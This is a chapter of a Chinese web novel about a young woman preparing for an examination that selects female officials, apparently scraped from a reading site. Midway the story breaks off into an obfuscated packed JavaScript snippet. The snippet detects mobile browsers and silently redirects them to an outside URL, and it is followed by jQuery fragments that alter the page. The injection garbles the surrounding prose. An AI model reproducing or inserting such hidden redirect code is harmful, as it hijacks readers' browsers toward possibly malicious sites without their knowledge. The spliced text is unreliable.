幽默姐 作品

13. 女官擢选

林晏安听见付家走水,吓得脸都白了,什么也顾不上,穿了外衣便急匆匆的赶过来了,前世付淮盈纵火入狱后,他便再听不得一个火字,今日这样着实是将他的魂都吓没了。


付淮盈走过来,倚在窗边,垂眸看他,“小侯爷雅兴,大晚上的不睡觉,翻到旁人屋子外,莫不是想做回梁上君子?”


林晏安细细的看着她,见她毫发无损才渐渐松了口气,他抬眸,目光复杂的看着她,面前这个人,漂亮柔软,虽然看他的眼神和陌生人没两样,但好在不是前世那冰冷的尸体,是鲜活的……


付淮盈见他盯着自己,也不说话,只傻愣的站在那,任由汗珠滴落,不知道为何,突然生出一股心疼,她抬手,拿着帕子擦了擦他额角的汗。


林晏安往后退了两步,这么晚了,他出现在这已经很不妥了,现下确定她无事,便该走了,“淮盈姐姐……你没事就好……我先走了……”


付淮盈懒得猜他的意图,随手将帕子扔在他脸上,关上窗,自顾自休息去了。


林晏安下意识的接过那条帕子,看了看只留条缝的窗,鬼使神差的将那条帕子放在唇边,片刻后才收进怀里,鬼鬼祟祟的离开。


付淮盈裹了几床被子躺在床上,但还是觉得冻得慌,她犹豫片刻,轻声开口,“大虎……大虎……你睡了吗?”


大虎立刻绕过屏风,“怎么了姑娘?”


“我冷,你能上来同我一起睡吗?”


大虎点头,立刻解下外衣,上了床才发现姑娘的手冰得像水,她伸出手将那双冰冷的手放在胸前,“姑娘睡吧,我给你暖暖。”


“好。”


付淮盈靠在她身上,汲取她身上的热意,不由得感叹习武的人就是不一样,暖烘烘的,像是天然的火炉。


在这个冬日,她睡了一个有史以来最温暖舒适的觉。


温霜叶不在,省了她去请安,付淮盈便直接睡到了午时,大虎在小厨房亲自将菜热了一遍又一遍,直到付淮盈起床,才将饭菜摆上,以至于她吃的时候,还是热的。


付淮盈下意识的拿着银针试,却又想到已经开了小厨房,倒也不用多此一举,又将针收了回去,大虎见她不放心,便拿起筷子,将桌上的三道菜挨个试了一遍。


“姑娘放心,厨娘做菜的时候我都看着呢,热菜的时候,我也亲自盯着。”


付淮盈笑起来,“辛苦你了,坐下来吧,我们一起吃,这些年也没个人陪我一起吃饭。”


大虎性子直,不爱搞弯弯绕绕那套,姑娘说什么就是什么,说让她一起,她便坐下来同姑娘一起用膳。


吃完饭,付淮盈便拿起书坐在窗边看起来,女官擢选就在这几日了,她一定要进前十,再加上阿兄给的举荐信,她便能上朝了。


此刻的秋书院里,侍女们跪了一地,付淮柔将案上的东西都扫在地上,面目狰狞,她摸着脸上的抓痕,怒火中烧。


付淮柔抓起砚台就往秋月身上砸,“没用的东西!昨夜同我一起,竟敢睡得那般熟!”


“姑娘……姑娘……奴婢也不知道……不知道为何会……”


付淮柔不想听她解释,只站起身,一脚狠狠的踹向秋月的心窝,将她踹得呕了一大口血出来,脸色惨白的躺在地上。


“我的脸要是留了疤,你就给我去死!!”


秋月躺在地上,说不出话来,付淮柔那脚踹得狠,用了十成十的力,她疼得根本站不起来。


付淮柔看着铜镜里三道血痕的脸,又转头看着跪了一地的侍女,冷声开口,“秋月起不来,你们也起不来吗?没手没眼么?不知道我手上的伤要上药吗?”


温初言来看她,却在进屋时看见跪了满地的侍女,和脸色惨白,躺倒在地的秋月,他紧蹙眉头,“你又在做什么?!”


付淮柔见他来,心里更加委屈,“若不是这贱蹄子昨夜睡得死,也不会不知道走水了!我打她两下怎么了?”


温初言让人将秋月带下去医治,又摆摆手让屋内的侍女出去,才开口,“你再生气也不能拿她们出气,大户人家有谁像你一样,对侍女动辄打骂的?说出去也不怕人笑话。”


看着温初言替那些下人说话,付淮柔更加气愤,“阿兄今日来就是来教训我的?昨日护着秋月院那个贱人就算了,今日要为了几个婢女来数落我?!”


“你看看你现在的样子,像个夜叉,自己照照镜子看看!”


付淮柔气极,上前猛的推了他一下,“昨日要不是阿兄罚我跪祠堂,我也不会受伤!我的脸也不会被猫抓伤!”


温初言软了语气,“这事怪我,要什么补偿阿兄给你,但你要答应我,往后不可再为难淮盈,也不能无缘无故打骂下人。”


付淮柔本想发作,又想起自己平平无奇的策论,才压下心里那抹怒火,不情不愿的开口,“我答应阿兄,但是,我要做女官!过几日就是女官擢选了,我定然是没办法进前十的,阿兄要帮我。”


温初言点头,“这几日我会请老师教你,你好好学,进了前十,姑父自然会为你讨举荐信的。”


付淮柔摇头,“我不要!阿兄说的都是没影的事,你要帮我得到三位主考的保举,还要太师的举荐信,阿兄,你知道的,父亲自诩清流,他不会帮我的。”


温初言垂眸,有些为难,他早已经答应了淮盈,怎么好出尔反尔。


“不行,你若是没能力,女官便算了,师傅的举荐信我已经许出去了。”


付淮柔瞪大眼睛,“阿兄怎么能这样!我才是你的妹妹!怎么可以许了别人!你又不是不知道我在书院学习这么久,就是为了当女官的!”


“淮盈也是我的妹妹!”


付淮柔目光沉沉,又是付淮盈这个贱人,凭她也想飞上枝头变凤凰?


“阿兄……求你了,付淮盈她从来没去过书院,别说当女官了,她能不能通过第一次考试都不一定,举荐信给她也是白给。”


温初言犹豫片刻,“若是淮盈没进前十,我便为你奔波奔波。”


付淮柔这才笑起来,挽着温初言的手臂,“阿兄,你真好。”


温初言面色复杂的推开她的手,没有再说什么。


付淮盈并不知道秋书院里的事情,她也没空去理,整日抱着书看,日日读夜夜看,人都憔悴了两分。<


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419137|168949||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


p>日子也在这些书里度过,一晃过去,便到了女官擢选的日子了。


说不紧张是假的,付淮盈自认不算平庸,但一天书院也没上过,唯一接触过的老师,就是她阿娘。


付流松向来不爱这种热闹的场合,所以还是温初言出面送她们进去。


林晏安带了些必备的东西递给她,“淮盈姐姐,里头冷得很,炭火又不够,先前我捕了头熊,给你做了件毯子,里头还有护膝,我亲手做的,你向来怕冷,一定要穿上。”


付淮盈笑着接过,“你怎么知道我怕冷?”


林晏安没再解释,只顺着她的话说,“上次不是已经告诉过姐姐了吗。”


付淮盈看了他一眼,转头进了贡院。


女官擢选的贡院和科考的不同,是元景年前朝五代皇帝建的,算下来也近百年了,没怎么修缮,十分狭窄,付淮盈站在里头,只感觉天很小,地很窄。


女官擢选考三场,连考六日,付淮盈出来的时候,瘦了许多,人也憔悴了很多,门开的时候,她腿一软,好在大虎来的及时,直接将她抱起来,放入马车内。


温禹和立刻上前,掀开车帘,“淮盈姐姐,你没事吧?”


付淮盈累得连说话的力气都没了,只能摇摇头回应他。


温初言将温禹和拽下来,“走了,她累了,别打扰她。”


温禹和只好恋恋不舍的跟着他走了。


林晏安将先前打包的糕点塞进去,抬手示意大虎赶车,他眼看着马车越走越远才转身回去。


这一世,无论如何,他也要她身居高位,不再受制于人。


禾丰看着林晏安上了马,跟上去,“主子,现在去哪?付家还是回府。”


林晏安看了他一眼,一拉缰绳,“去太傅府。”


禾丰有些不解,“先前温将军不是允了温姑娘,会为她拿到太师的举荐信吗?”


林晏安看着前方低矮的贡院,轻声道:“温初言是靠不住的,前几日送考的时候,他也是选了付大姑娘,若是让他二者择其一,他会选谁?我不能保证他会选淮盈,所以我得给她留条后路。”


“主子想得真周到,您和付姑娘才是最配的,温家的,跟您简直没法比。”


林晏安驾马离开,声音飘在风中,落在书白耳里,“回去领两个月月钱!你周到的主子赏你的!”


禾丰喜笑颜开,“谢主子!”


太傅府


老侯爷和徐太傅是多年好友,林晏安入府的时候不用通报,直接进了园子。


“老头!”


徐书白远远的就听见他的声音了,拿着手中的棋子砸过去,“浑小子!没大没小的。”


嘴上是责怪的话,脸上却一直笑着,完全没有一丝要怪罪的意思。


林晏安坐下来,将手中的糕点递给他,“给,捻花楼的油酥,你的最爱。”


徐书白鬼鬼祟祟的四处看,见没有外人才打开那包糕点。


林晏安有些好笑,“你就吃吧,老太太礼佛去了,这里也没别人,我保证不告状。”


徐书白瞥了他一眼,有些警惕,“无事献殷勤,非奸即盗。”